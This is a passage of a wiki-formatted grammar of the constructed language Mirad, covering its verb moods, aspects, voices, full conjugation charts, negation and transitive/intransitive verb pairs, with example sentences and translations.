: The above '''-us''' ending contrasts with the endings '''-ar''' (''instrument''), '''-ir''' (''machine''), '''-ur''' (''motor, engine''), which are physical objects and not always suffixed to a verbal root.

== Finite Forms ==
[[File:Auxiliary verbs tree 3.png|thumb|]]
: In Mirad, finite verb forms are those that can take a person subject, serve as a predicate, and be conjugated. Finite verb forms are conjugated by using suffixes indicating, through their presence or absence, the following categories:

&lt;div style=&quot;background: lightyellow;{{text default color}};&quot;&gt;
::* TENSES 
:::# '''''present'''''
:::# '''''past'''''
:::# '''''future'''''
:::# '''''atemporal'''''
::* MOODS
:::# '''''indicative'''''
:::# '''''hypothetical'''''
::* ASPECTS
:::# '''''simple'''''
:::# '''''progressive'''''
:::# '''''perfect'''''
:::# '''''imminent'''''
:::# '''''potential'''''
::* VOICES
:::# '''''active'''''
:::# '''''passive'''''
:::# '''''reflexive'''''
:::# '''''reciprocal'''''
&lt;/div&gt;

: Person and number are not marked on the verb form itself.  For example, ''am'', ''is'', ''are'', which change according to the person subject in English,  are all expressed with the same verb form in Mirad: '''se'''.  Thus, '''at se'''....''I am'', '''et se'''....''you are'', '''it se'''....''he/she/it is'', etc.

=== Moods ===
: There are two moods in Mirad:
::* '''''indicative'''''
::* '''''hypothetical'''''.

===== Indicative Mood =====
: The '''''indicative''''' form of the verb indicates an action or state that occurs in actual time, such as ''he went'', ''he is going'', ''he will go.''

: The indicative mood has three tenses, '''''present''''', '''''past''''', '''''future''''',  indicated by the suffixes '''-e''', '''-a''', and '''-o''', respectively.

===== Hypothetical Mood =====
: Wheras the indicative verb forms expresses actuality in time, the '''''hypothetical mood''''' expresses one of the non-actuality situations below and uses the vowel '''u'''.

::* a command , i.e. the '''''imperative''''' (''Go!'')
::* a wish or suggestion, i.e. the '''''hortative''''' or '''''jussive''''' (''May the king live long!'', ''Let's celebrate!'')
::* an unrealized situation, i.e. the '''''subjunctive''''' (''It is important that you &lt;u&gt;be&lt;/u&gt; early.'')
::* an imagined if-then-situation, i.e. the '''''conditional''''' (''If I &lt;u&gt;were&lt;/u&gt; rich, I &lt;u&gt;would be&lt;/u&gt; happy.'')

=== Aspects ===

: There are five aspects in the Mirad verb system.

&lt;div style=&quot;background: lightyellow;{{text default color}};&quot;&gt;
::* the '''''simple''''' aspect (default), i.e. non-progressive, non-perfect, non-imminent, and non-conditional.
::* the '''''progressive''''' aspect, i.e. an action or state on-going in the particular tense, using '''ey'''
::* the '''''perfective''''' aspect, i.e. an action or state anterior or already completed, using '''ay'''
::* the '''''imminent''''' aspect, i.e. an action or state about to happen, using '''oy'''
::* the '''''potential''''' aspect, i.e. an action potentially happening, using '''uy'''
&lt;/div&gt;
===== The Simple Aspect =====

:: Unless specifically marked, the default aspect is '''''simple''''', i.e. non-progressive, non-perfect, non-imminent, and non-conditional.  Three indicative tenses can be expressed in the simple aspect:
::* Present with '''e'''
::* Past with '''a'''
::* Future with '''o'''. 

:: An atemporal verb ending in '''u''' in the simple aspect is considered hypothetical and expresses three things, depending on how it is used in the sentence:
::* a conditional like ''I would go (if...)''
::* an imperative like ''Go!''
::* a hortative like ''Let's go!''
::* a subjunctive like ''(It is important that) we go.''

:: Here is a chart showing the simple, active voice instantiations of the Mirad verb '''per''' (''to go'')  with the endings underlined:

{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller; margin-left:3.2em;&quot;
|+ Simple Active Conjugation of '''Per'''
|-
! Mood !! Tense !! Aspect !! Voice !! Instantiation !! Verb '''per'''
|-
!row=1| Indicative !! Present !! Simple !! Active !!
| '''At p&lt;u&gt;e&lt;/u&gt;'''....''I go''
|-
!row=1| Indicative !! Past !! Simple !! Active !!
| '''At p&lt;u&gt;a&lt;/u&gt;'''....''I went''
|-
!row=1| Indicative !! Future !! Simple !! Active !!
|'''At p&lt;u&gt;o&lt;/u&gt;'''....''I will go''
|-
!row=1 rowspan=4 | Hypothetical
!rowspan=4| Atemporal
!rowspan=4| Simple
!rowspan=4| Active 
! Conditional
|'''At p&lt;u&gt;u&lt;/u&gt;'''....''I would go''
|-
! Hortative/Optative/Jussive
|'''Van yat p&lt;u&gt;u&lt;/u&gt;!'''....''Let's go!''
|-
! Imperative
|'''P&lt;u&gt;u&lt;/u&gt; tam!'''....''Go home!''
|-
! Subjunctive
|'''Se efwa van et p&lt;u&gt;u&lt;/u&gt;.'''....''It is necessary that you go.''
|}

: Note that the last four instantiations are the same tense, but differ in syntax.  For example, if the verb form is hypothetical, atemporal, simple, active and has no subject, it operates as an imperative.

==== The Simple Indicative Present Active Tense ====

:: The simple indicative present instantiation is marked with the vowel suffix '''e''' and has a non-progressive ('''''habitual''''') aspect as in English ''I work'' or ''I live''.  Progressive aspect forms like ''I am studying'' are explained later.

:: Examples:
:::* '''At &lt;u&gt;yexe&lt;/u&gt; be tam.''' ....''I &lt;u&gt;work&lt;/u&gt; at home''.
:::* '''Hia tom &lt;u&gt;se&lt;/u&gt; nam.''' ....''This building &lt;u&gt;is&lt;/u&gt; a store.''
:::* '''Ha amur &lt;u&gt;yuzpe&lt;/u&gt; ha imer.'''....''The moon &lt;u&gt;goes around&lt;/u&gt; the earth.''

==== The Simple Indicative Past Active Tense ====
: The simple indicative past tense instantiation is marked with the vowel suffix '''a''' and has a non-progressive (punctual) meaning as in English ''I did something at some particular point in time''.  The simple past contrasts in aspect with the past progressive (''I was doing something'') or the present perfect (''I have done something''), or past potential (''I would have done something'').  The simple past is punctual, that is, it describes an event that occurred at a particular point in time.
: Examples:
::* '''Iyt &lt;u&gt;iba&lt;/u&gt; ha nyuf zojub.''' ....''She &lt;u&gt;received&lt;/u&gt; the package yesterday.''
::* '''At &lt;u&gt;ujba&lt;/u&gt; ha dyes ji iwa jwobi.''' ....''I &lt;u&gt;finished&lt;/u&gt; the book three hours ago.''
::* '''His &lt;u&gt;kyesa&lt;/u&gt; exag hijub.'''....''This &lt;u&gt;happened&lt;/u&gt; twice today.''

==== The Simple Indicative Future Active Tense ====

: The simple indicative future tense is marked with the vowel suffix '''o''' and has the same meaning as in English ''I will do something at some particular point in the future''.

: Examples: 
::* '''Yit &lt;u&gt;tadso&lt;/u&gt; zajab.'''....''They &lt;u&gt;are going to get married&lt;/u&gt; next year.''
::* '''Hua kaxon &lt;u&gt;ujako&lt;/u&gt;.''' ....''That solution &lt;u&gt;will work&lt;/u&gt;.''
::* '''At &lt;u&gt;so&lt;/u&gt; him hoj et &lt;u&gt;upo&lt;/u&gt;.'''....''I &lt;u&gt;will be&lt;/u&gt; here when you &lt;u&gt;(will) come.&lt;/u&gt;&lt;sup&gt;1&lt;/sup&gt;''
:: Note 1: Unlike in English,  Mirad does not use the present tense for a real future.  There is also no sequence of tenses in Mirad (such as, ''He said he was coming.''.  In Mirad, this would be expressed as ''He said he &lt;u&gt;will&lt;/u&gt; come.'').

==== The Simple Hypothetical Atemporal Active Tense ====

: A verb form ending in '''u''' like '''pu''' has no time value and is used to express unreal actions or states, such as the '''''imperative''''', '''''hortative''''', '''''conditional''''', or '''''subjunctive'''''.
: Examples:
::* '''&lt;u&gt;Upu&lt;/u&gt; him!'''....''&lt;u&gt;Come&lt;/u&gt; here!'' ('''''imperative''''')
::* '''&lt;u&gt;Von upu&lt;/u&gt;!''' ....''&lt;u&gt;Don't come&lt;/u&gt;!'' ('''''negative imperative''''')
::* '''Ha edeb &lt;u&gt;fu&lt;/u&gt; teater et.''' ....''The king &lt;u&gt;would like&lt;/u&gt; to see you.'' ('''''conditional''''')
::* '''Ven at &lt;u&gt;su&lt;/u&gt; et, at &lt;u&gt;dolu&lt;/u&gt;.''' ....''If I &lt;u&gt;were&lt;/u&gt; you, I &lt;u&gt;would be&lt;/u&gt; quiet.'' ('''''conditional''''')
::* '''Van yeyt &lt;u&gt;ujaku&lt;/u&gt; be yeyta yexneadi.''' ....''May all you (women) &lt;u&gt;succeed&lt;/u&gt; in your careers.'' ('''''hortative''''')
::* '''Van yat &lt;u&gt;ijbu&lt;/u&gt; bay fyadil.''' ....''Let's &lt;u&gt;begin&lt;/u&gt; with a prayer.'' ('''''jussive''''')
::* '''Se kyitesa &lt;u&gt;van et puu&lt;/u&gt; jwa.''' ....''It's important &lt;u&gt;that you arrive&lt;/u&gt; early.'' ('''''subjunctive''''')
::* '''Se kyitesa &lt;u&gt;von et puu&lt;/u&gt; jwo.'''....''It's important &lt;u&gt;that you not arrive&lt;/u&gt; late.'' ('''''negative subjunctive''''')
: Hypothetical verb forms ending in '''-u''' can be interpreted in various ways, depending on the following syntactical patterns in the sentence:
::* Generally, if a verb form ending in '''-u''' begins a sentence and has no subject, then it is an IMPERATIVE (a command).  For example, '''Ipu!''', ''Go away!''.
::* If the verb form has a subject not preceded by the complementizers '''van''', '''ven''', or '''von''', then it is probably a conditional predicate like '''At fu per.'''....''I &lt;u&gt;would like&lt;/u&gt; to go.''.
::* If the subject of the verb is preceded by '''ven'''....''if'', then it is a conditional clause as in '''Ven at &lt;u&gt;su&lt;/u&gt; nasikat...'''....''If I &lt;u&gt;were&lt;/u&gt; a rich man.''.
::* If the subject is preceded by '''Van'''....''that/let/may'' or '''von'''....''don't'', then it is a hortative wish like '''Van et yagteju.'''....''May you live long.'' or a jussive suggestion like '''Van yat fyadilu.'''....''Let us pray.'' or a prohibition like '''Von tiliu his!'''....''Don't drink this!''.

=== Voices ===

: Mirad has four voices:
::* Active
::* Passive
::* Reflexive
::* Reciprocal.

==== Active Voice ====
: The default voice is active, i.e. the subject of the verb is doing the action.
::* '''At teata ha kyes.'''....''I saw the event.''

==== Passive Voice ====
: A verb form is converted from active to passive by inserting a '''w''' just after the stem of the verb form.  The past passive particle ending '''-waa''' is usually abbreviated to '''-wa''' (''done'' is '''xwa''').
: The following chart shows the distinction between active and passive voice of various verbs:
:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller; margin-left:4.8em&quot;
|+ Contrasting Active and Passive Voice
! Verb Form !! Active !! Active&lt;br&gt;Example !! Passive !! Passive&lt;br&gt;Example
|-
!row=1| Infinitive 
| '''xer'''&lt;br&gt;''to do'' || '''At fe xer fi.'''&lt;br&gt;''I want to do well.'' || '''xwer'''&lt;br&gt;''to be done'' || '''Ese hyos xwer.'''&lt;br&gt;''There is nothing to be done.''
|-
!row=1| Present Participle 
| '''sexea'''&lt;br&gt;''constructing'' || '''Ha nunxob sexea hia tom...'''&lt;br&gt;''The firm constructing this building...''|| '''sexewa'''&lt;br&gt;''being constructed'' || '''His se sexewa.'''&lt;br&gt;''This is under construction.''
|-
!row=1| Present
| '''xe'''&lt;br&gt;''do/does'' ||'''At xe fi be tixam.'''&lt;br&gt;''I do well in school.'' || '''xwe'''&lt;br&gt;''is done'' || '''Huyenasi hoj xwe.'''&lt;br&gt;''Such things are never done.''
|-
!row=1| Past Participle
| '''xaa'''&lt;br&gt;''having done'' || '''Iyt, xaa hya iyta yex,...'''&lt;br&gt;''She, having done all her work,...'' ||'''xwa'''&lt;br&gt;''done'' || '''Hyas se xwa.'''&lt;br&gt;''Everything is done.''
|-
!row=1| Past 
| '''tojba'''&lt;br&gt;''killed'' || '''Duhot tojba hwut?'''&lt;br&gt;''Who killed that guy?'' || '''tojbwa'''&lt;br&gt;''was killed'' || '''Duhoj wit tojbwa?'''&lt;br&gt;''When was he killed?''
|-
!row=1| Hypothetical
| '''bakxu'''&lt;br&gt;''heal''   || '''Bakxu at!'''&lt;br&gt;''Heal me!'' || '''bakxwu'''&lt;br&gt;''be healed'' || '''Van iyt bakxwu.'''&lt;br&gt;''May she be healed.''
|}
: Intransitive verbs cannot be made passive.  For example, '''tajer'''....''to be born'' is intransitive (takes no object) and has no passive voice form.  However, the transitive verb '''tajber'''....''to bear, give birth'' can be passive, as in '''Ha tudet &lt;u&gt;tajbwa&lt;/u&gt; zajub.'''....''The child &lt;u&gt;was delivered&lt;/u&gt; yesterday'' (as opposed to '''Ha tudet &lt;u&gt;taja&lt;/u&gt; zajub.'''....''The child &lt;u&gt;was born&lt;/u&gt; yesterday.)''  Notice how this works with '''yijer''' (''to open''):
::* '''Ha mes yija.'''....''The door opened (by itself).'' (medio-passive)
::* '''Ha mes yijpa.'''....''The door came open.'' (dynamic medio-passive)
::* '''Yijbu ha mes.'''....''Open the door.'' (transitive active)
::* '''Ha mes yijbwa.'''....''The door was opened (by someone).'' (passive)
: Impassive verbs form their past particple with the ending '''ya''', but these forms are somewhat rare.  Here are some examples:
::* '''per'''....''to go'' -&gt; '''pya'''....''gone''
::* '''tajer'''....''to be born'' -&gt; '''tajya'''....''born'' (ex.'''Jesus tajya bi Marya.''''....''Jesus, born of Mary'')
::* '''tojer'''....''to die'' -&gt; '''tojya'''....''dead''
::* '''loteaser'''....''to disappear'' -&gt; '''loteasya'''....''disappeared'' (ex. '''Ha loteasya tobi be Arogem.'''....''the disappeared persons in Argentina.'')

==== Reflexive Voice ====
: A verb is made reflexive by prefixing the reflexive pronoun '''ut''' (''self''), for example:

::* '''tojber'''....''to kill'' &lt;big&gt;→&lt;/big&gt; '''uttojber'''....''to kill oneself''
::* '''vyilxer'''....''to wash'' &lt;big&gt;→&lt;/big&gt; '''utvyilxer'''....''to wash up''
::* '''teater'''....''to see'' &lt;big&gt;→&lt;/big&gt; '''utteater'''....''to see oneself''
::* '''yabler'''....''to lift'' &lt;big&gt;→&lt;/big&gt; '''utyabler'''....''to lift oneself'' → '''Utyablu!'''....''Lift yourself up!''
::* '''trer'''....''to know'' &lt;big&gt;→&lt;/big&gt; '''uttrer'''....''to know oneself'' → '''Uttru!'''....''Know thyself!''

==== Reciprocal Voice ====

: A verb is made reciprocal by prefixing the reciprocal pronoun '''hyuit'''....''one another'', for example:

::* '''tojber'''....''to kill'' &lt;big&gt;→&lt;/big&gt; '''hyuittojber'''....''to kill one another''
::* '''vyilxer'''....''to wash'' &lt;big&gt;→&lt;/big&gt; '''hyuitvyilxer'''....''to wash one another''
::* '''teater'''....''to see'' &lt;big&gt;→&lt;/big&gt; '''hyuitteater'''....''to see one another''

: Both the reflexive pronoun and reciprocal pronoun can be used as standalone objects.  However, the plural form '''yut''' is used if the subject is plural, for example:

::* '''Yit vyilxa &lt;u&gt;yut&lt;/u&gt;.'''....''They (f.) washed up. (= washed &lt;u&gt;selves&lt;/u&gt;).''
::* '''Ha twobeti dizeuda &lt;u&gt;hyuit&lt;/u&gt;.'''....''The boys laughed at &lt;u&gt;one another&lt;/u&gt;.''
: The word '''hyuit''' is a hybrid of '''hyit'''....''the same one'' combined with '''hyut'''....''the other one''.

==== Aspects Revisited ====

: Mirad verbs have the following aspects:

::* '''''Simple''''' -- this is the default aspect, shown above, i.e. non-progressive, non-perfect, non-imminent, and non-potential.
::* '''''Progressive''''' -- this is an aspect where the verb describes an on-going action or state spread over time.
::* '''''Perfect''''' -- this presents the action or state as anterior, or completed prior to another action or state.
::* '''''Immininent''''' -- this describes an action or state ''about to happen.''
::* '''''Potential''''' -- this refers to an action or state where something is ''possible''.

==== The Simple Aspect ====

: The following chart presents Mirad verbs in the Simple aspect.  In the active voice, the tense vowels '''a''', '''e''', '''o''', and '''u''' are affixed to the stem.  In the passive voice, the passive marker consonant '''w''' is inserted between the stem and the final tense vowels.  The simple present tense refers to actions or states that are habitual (''I regularly go to school.''), regular (''The earth revolves around the sun.''), or permanent (''Blue is a color.'').  The simple past refers to actions or states that occurred at a fixed point in time (''I did my homework last night.'').  The simple future refers to actions or states that will occur at some particular point in the future (''The sun will rise tomorrow at dawn.'').  The simple atemporal hypothetical ( = conditional) refers to an imagined action or state that has not be realized (''You would make a good president.'').
:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{Text default color}};font-size:smaller;&quot;
|+ Simple Aspect
|-
! Aspect !! Tense !! Mood !! Active Voice !! Passive Voice
|-
!row=1| Simple !! Present !! Indicative 
| '''At x&lt;u&gt;e&lt;/u&gt;'''....''I do'' || '''Has x&lt;u&gt;we&lt;/u&gt;'''....''It is done''
|-
!row=1| Simple !! Past !! Indicative 
| '''At x&lt;u&gt;a&lt;/u&gt;'''....''I did'' || '''Has x&lt;u&gt;wa&lt;/u&gt;'''....''It was done''
|-
!row=1| Simple !! Future !! Indicative 
| '''At x&lt;u&gt;o&lt;/u&gt;'''....''I will do'' || '''Has x&lt;u&gt;wo&lt;/u&gt;'''....''It will be done''
|-
!row=1| Simple !! Atemporal !! Hypothetical 
| '''At x&lt;u&gt;u&lt;/u&gt;'''....''I would do''&lt;sup&gt;1&lt;/sup&gt; || '''Has x&lt;u&gt;wu&lt;/u&gt;'''....''It would be done''
|}
: 1: Absence of tense (Atemporal) + Hypothetical mood = '''''conditional'''''.

==== The Progressive Aspect ====

: The following chart presents Mirad verbs in the Progressive aspect.  The present tense vowel '''e''' followed by a buffer consonant, are inserted between the stem and the final tense vowel.  The buffer consonant is '''y''' in the active voice, or  '''w''' in the passive voice.

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller; &quot;
|+ Progressive Aspect
|-
! Aspect !! Tense !! Mood !! Active Voice !! Passive Voice
|-
!row=1| Progressive !! Present !! Indicative 
| '''at x&lt;u&gt;eye&lt;/u&gt;'''....''I am doing'' || '''Has x&lt;u&gt;ewe&lt;/u&gt;'''....''it is being done''
|-
!row=1| Progressive !! Past !! Indicative 
| '''at x&lt;u&gt;eya&lt;/u&gt;'''....''I was doing'' || '''Has x&lt;u&gt;ewa&lt;/u&gt;'''....''it was being done''
|-
!row=1| Progressive !! Future !! Indicative 
| '''at x&lt;u&gt;eyo&lt;/u&gt;'''....''I am going to be doing'' || '''Has x&lt;u&gt;ewo&lt;/u&gt;'''....''it will be happening''
|-
!row=1| Progressive !! Atemporal !! Hypothetical 
| '''at x&lt;u&gt;eyu&lt;/u&gt;'''....''I would be doing'' || '''Has x&lt;u&gt;ewu&lt;/u&gt;'''....''it would be happening''
|}

==== The Perfect Aspect ====

: The following chart presents Mirad verbs in the Perfect aspect.  The past tense vowel '''a''' following by a buffer consonant are inserted between the stem and the final tense vowel.  The buffer consonant is '''y''' in the  active voice, or '''w''' in the passive voice.   

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Perfect Aspect
|-
! Aspect !! Tense !! Mood !! Active Voice !! Passive Voice
|-
!row=1| Perfect !! Present !! Indicative 
| '''At x&lt;u&gt;aye&lt;/u&gt;'''....''I have done'' || '''Has x&lt;u&gt;awe&lt;/u&gt;'''....''It has been done''
|-
!row=1| Perfect !! Past !! Indicative 
| '''At x&lt;u&gt;aya&lt;/u&gt;'''....''I had done'' || '''Has x&lt;u&gt;awa&lt;/u&gt;'''....''It had been done''
|-
!row=1| Perfect !! Future !! Indicative 
|'''At x&lt;u&gt;ayo&lt;/u&gt;'''....''I will have done'' || '''Has x&lt;u&gt;awo&lt;/u&gt;'''....''It will have been done''
|-
!row=1| Perfect !! Atemporal !! Hypothetical 
| '''At x&lt;u&gt;ayu&lt;/u&gt;'''....''I would have done'' || '''Has x&lt;u&gt;awu&lt;/u&gt;'''....''It would have been done''
|}

==== The Imminent Aspect ====

: The following chart presents Mirad verbs in the Imminent aspect (sometimes referred to as the Prospective aspect).  The future tense vowel '''o''' following by a buffer consonant are inserted between the stem and the final tense vowel.  The buffer consonant is '''y''' in the  active voice, or '''w''' in the passive voice. Not that only indicative mood imminent tenses are ever used.  

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Imminent Aspect
|-
! Aspect || Tense !! Mood !! Active Voice !! Passive Voice
|-
!row=1| Imminent !! Present !! Indicative 
| '''At x&lt;u&gt;oye&lt;/u&gt;'''....''I am about to do'' || '''Has x&lt;u&gt;owe&lt;/u&gt;'''....''It is about to be done''
|-
!row=1| Imminent !! Past !! Indicative 
| '''At x&lt;u&gt;oya&lt;/u&gt;'''....''I was about to do'' || '''Has x&lt;u&gt;owa&lt;/u&gt;'''....''It was about to be done''
|}

==== The Potential Aspect ====

: The following chart presents Mirad verbs in the Potential aspect.  The hypothetical vowel '''u''' followed by a buffer consonant are inserted between the stem and the final tense vowel.  The buffer consonant is '''y''' in the  active voice, or '''w''' in the passive voice. The future potential and hypothetical potential aspects are never used. 

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Potential Aspect
|-
! ASPECT !! TENSE !! MOOD !! ACTIVE VOICE !! PASSIVE VOICE
|-
!row=1| Potential !! Present !! Indicative 
| '''At x&lt;u&gt;uye&lt;/u&gt;'''....''I am to do'' || '''Has x&lt;u&gt;uwe&lt;/u&gt;'''....''It is to be done, it is doable''
|-
!row=1| Potential !! Past !! Indicative 
| '''At x&lt;u&gt;uya&lt;/u&gt;'''....''I was to do'' || '''Has x&lt;u&gt;uwa&lt;/u&gt;'''....''It was to be done, it was doable''
|}

== Verb Conjugation Chart ==

: The following chart presents the totality of the Mirad affirmative verb conjugation system using the verb '''xer'''....''to do'' and its passive '''xwer'''....''to be done, happen''.  The rows beginning with a light blue background are finite forms, while those beginning with light green are non-finite forms.

{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Verb Conjugation Chart
|- valign=top
!rowspan=2| State !!rowspan=2| Mood !!rowspan=2| Aspect !!rowspan=2| Tense !! colspan=4|Voice
|-
! Active!!Passive
|-
! rowspan=16 style=&quot;background: lightblue;{{text default color}};&quot;|Finite !!rowspan=3| Indicative !!rowspan=4| Simple !! Present
| '''xe''' &lt;br&gt;''does''||'''xwe'''&lt;br&gt;''is done, happens''
|-
! Past
| '''xa''' &lt;br&gt;''did''||'''xwa'''&lt;br&gt;''was done, happened''
|-
!  Future
| '''xo''' &lt;br&gt;''will do''||'''xwo'''&lt;br&gt;''will be done, will happen''
|-
! Hypothetical|| 
| '''xu''' &lt;br&gt;''would do, do!''||'''xwu'''&lt;br&gt;''would be done, would happen, be done!''
|-
!rowspan=3| Indicative !!rowspan=4| Progressive !! Present 
| '''xeye'''&lt;br&gt;''is doing''||'''xewe'''&lt;br&gt;''is being done, is happening''
|-
!  Past 
| '''xeya''' &lt;br&gt;''was doing''||'''xewa'''&lt;br&gt;''was doing, was happening''
|-
!  Future 
| '''xeyo'''&lt;br&gt;''will be doing''||'''xewo'''&lt;br&gt;''will be happening''
|-
! Hypothetical|| 
| '''xeyu''' &lt;br&gt;''would be doing''&lt;br&gt;''be doing!''||'''xewu'''&lt;br&gt;''would be happening''
|-
!rowspan=3|Indicative !! rowspan=4| Perfect !! Present
| '''xaye''' &lt;br&gt;''has done''||'''xawe''' &lt;br&gt;''has been done, has happened''
|-
!   Past 
| '''xaya''' &lt;br&gt;''had done''||'''xawa'''&lt;br&gt;''had been done, had happened''
|-
!  Future 
| '''xayo''' &lt;br&gt;''will have done''||'''xawo''' &lt;br&gt;''will have been done, will have happened''
|-
! Hypothetical !! 
| '''xayu''' &lt;br&gt;''would have done''||'''xawu'''&lt;br&gt;''would have been done, would have happened''
|-
!rowspan=4| Indicative !! rowspan=2|Imminent !! Present
| '''xoye''' &lt;br&gt;''is about to do''||'''xowe'''&lt;br&gt;''is about to be done, is about to happen''
|-
! Past
| '''xoya'''&lt;br&gt;''was to be done'' ||'''xowa'''&lt;br&gt;''was to be done, was to happen''
|-
! rowspan=2|Potential !! Present
| '''xuye'''&lt;br&gt;''is supposed to do'' ||'''xuwe''' &lt;br&gt;''is supposed to happen''
|-
!  Past
| '''xuya''' &lt;br&gt;''was supposed to do''||'''xuwa'''&lt;br&gt;''was supposed to be done, was supposed to happen''
|-
! colspan=6 style=&quot;background: black;color:white;&quot;|
|-
! rowspan=2 style=&quot;background: lightgreen;{{Text default color}};&quot;|Infinitive !!  !! Simple !! rowspan=8|
| '''xer'''&lt;br&gt;''to do''||'''xwer'''&lt;br&gt;''to be done, to happen''
|-
! !! Perfect 
| '''xayer'''&lt;br&gt;''to have done''||'''xawer'''&lt;br&gt;''to have been done, to have happend''
|-
! colspan=6 style=&quot;background: black;color:white;&quot;|
|-
! rowspan=4 style=&quot;background: lightgreen;{{Text default color}};&quot;|Participle !! !! Progressive
| '''xea'''&lt;br&gt;''doing'' ||'''xewa'''&lt;br&gt;''being done, happening''
|-
!  !! Perfect
| '''xya''' &lt;br&gt;''having done''||'''xwa'''&lt;br&gt;''done, happened''
|-
!  !! Imminent
| '''xoa''' &lt;br&gt;''about to do''||'''xowa'''&lt;br&gt;''about to happen''
|-
!  !! Potential
| '''xua'''&lt;br&gt;''bound to do'' ||'''xuwa'''&lt;br&gt;''doable''
|-
! colspan=6 style=&quot;background: black;color:white;&quot;|
|-
!rowspan=2 style=&quot;background: lightgreen;{{Text default color}};&quot; |Gerund
!  !! Simple !!
| '''xen''' &lt;br&gt;''doing''||'''xwen''' &lt;br&gt;''being done, happening, event''
|-
!  !! Perfect !!
| '''xayen'''&lt;br&gt;''having done''||'''xawen'''&lt;br&gt;''having happened''
|}
: Note 1:  Intransitive verbs such as '''per''' ''to go'' have no passive forms.  An expression such as ''They are gone.'' would be translated as '''Yit se pya'''.

== Negative Forms ==
: All of the above verb forms are affirmative.  The indicative and conditional forms can be made negative by using the negative adverb '''voy''' (''not'', '' 'nt'', ''doesn't'', ''don't'').  Those forms that are subjunctive, jussive, or imperative ending in '''-u''' use the negative subordinate conjunction '''von''' (''don't'', ''let not'', ''lest''). 
: '''voy'''....''not'' 
::* '''At &lt;u&gt;voy&lt;/u&gt; te.'''....''I &lt;u&gt;don&lt;/u&gt;'t know.'' (indicative)
::* '''&lt;u&gt;Voy&lt;/u&gt; mamilo.'''....''It will &lt;u&gt;not&lt;/u&gt; rain.'' (indicative)
::* '''At &lt;u&gt;voy&lt;/u&gt; xu hus.'''....''I would &lt;u&gt;not&lt;/u&gt; do that.'' (conditional)
: '''von'''....''Let's not, don't, let it not''
::* '''&lt;u&gt;Von&lt;/u&gt; mamilu.'''....''&lt;u&gt;Let it not&lt;/u&gt; rain.'' (subjunctive)
::* '''&lt;u&gt;Von&lt;/u&gt; yat fuyaku.'''....''&lt;u&gt;Let&lt;/u&gt; us &lt;u&gt;not&lt;/u&gt; despair.'' (jussive)
::* '''&lt;u&gt;Von&lt;/u&gt; pu!'''....''&lt;u&gt;Don't&lt;/u&gt; go.'' (imperative)
: Participles, gerunds, and infinitives can be negated with the prefix '''o-''' (''un-, non-'').
::* '''tosea'''....''feeling'' -&gt; '''otosea'''....''unfeeling''
::* '''xwa'''....''done'' -&gt; '''oxwa'''....''undone''
::* '''teliwa'''....''eaten'' -&gt; '''oteliwa'''....''uneaten''
::* '''tejen'''....''living'' -&gt; '''otejen'''....''not living''
::* '''buen'''....''giving'' -&gt; '''obuen'''....''not giving''
::* '''buer'''....''to give'' -&gt; '''obuer'''....''not to give''
::* '''ter'''....''to know'' =&gt; '''oter'''....''not to know, i.e. to ignore''
: Partciples, gerunds, and infinitives can also be negated with the word '''voy'' (''not''), eg:
::* '''voy tea ha dud'''....''not knowing the answer''
::* '''gel voy tejea'''....''like not living''
::* '''av voy xen hes'''....''for not doing something''

== How to Express Certain English Tenses ==
: English speakers have some tenses that do not fit into the above schema, and so Mirad uses a combination of verbs to achieve the same sense:
::* The English tense ''I have been studying French for four years.'' is translated in Mirad by '''At saye tixea Ferad ji uwa jabi.''' (Mirad present perfect of '''ser''' (''to be'') + the present participle of the main verb, '''tixer'''.

::* The English tense ''I had been studying'' is translated in Mirad by '''At saya tixer''', the past perfect of the verb '''ser''' (''to be'') + the present participle of the main verb, '''tixer'''.

::* The English tense ''I am going to be starring in that role.'' is translated in Mirad by '''At dezdebeyo be hua dezgon.''' (Mirad future progressive).
 
::* The modern Black English tense ''Don't you be doing that.'' is handled in Mirad by '''Von et xeyu hus.''' (Mirad imperative progressive).

== Transitive vs. Intransitive Verbs ==
: Transitive verbs, which can take a direct object, oppose themselves to intransitive verbs, which do not take a direct object.  Some verbs are marked overtly for transitivity.

: Verbs that end in '''xer''' (''to do, -ify, -ize'') are by nature transitive, and often have intransitive counterparts in '''ser''' (''to be, become, -ify, -ize'').  Likewise, verbs ending in '''ber''' (''to put, take'') are transitive and have intransitive counterparts in '''per''' (''to go'').  Here are some examples:

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Transitive vs. Intransitive
|-
!  Transitive !! Intransitive
|-
| '''xer'''....''do'' || '''ser'''....''be''
|-
| '''agxer'''....''grow (something)'' || '''agser'''....''grow (up)''
|-
| '''amxer'''....''heat, make hot'' || '''amser'''....''become hot, heat up''
|-
| '''puxer'''....''throw'' || '''puser'''....''jump''
|-
| '''per'''....''go'' || '''ber'''....''put''
|-
| '''aber'''....''put on'' || '''aper'''....''get on''
|-
| '''yaber'''....''raise'' || '''yaper'''....''rise''
|-
| '''poxer'''....''stop (something)'' || '''poser'''....''(come to a) stop''
|-
| '''yuber'''....''bring'' || '''yuper'''....''approach''
|-
| '''yeber'''....''insert'' || '''yeper'''....''enter''
|}

::* '''At &lt;u&gt;agxe&lt;/u&gt; vobi.'''....''I &lt;u&gt;grow&lt;/u&gt; [TRANSITIVE] plants.''
::* '''Ha vobi &lt;u&gt;agseye&lt;/u&gt; ig.'''....''The plants &lt;u&gt;are growing&lt;/u&gt; [INTRANSITIVE] fast.''

::* '''&lt;u&gt;Poxu&lt;/u&gt; ha pur!'''....''&lt;u&gt;Stop&lt;/u&gt; [TRANSITIVE] the car!''
::* '''Ha pur &lt;u&gt;posa&lt;/u&gt;.'''....''The car &lt;u&gt;stopped&lt;/u&gt; [INTRANSITIVE].''

::* '''At &lt;u&gt;yaba&lt;/u&gt; ha mis.'''....''I &lt;u&gt;raised&lt;/u&gt; [TRANSITIVE] the window.''
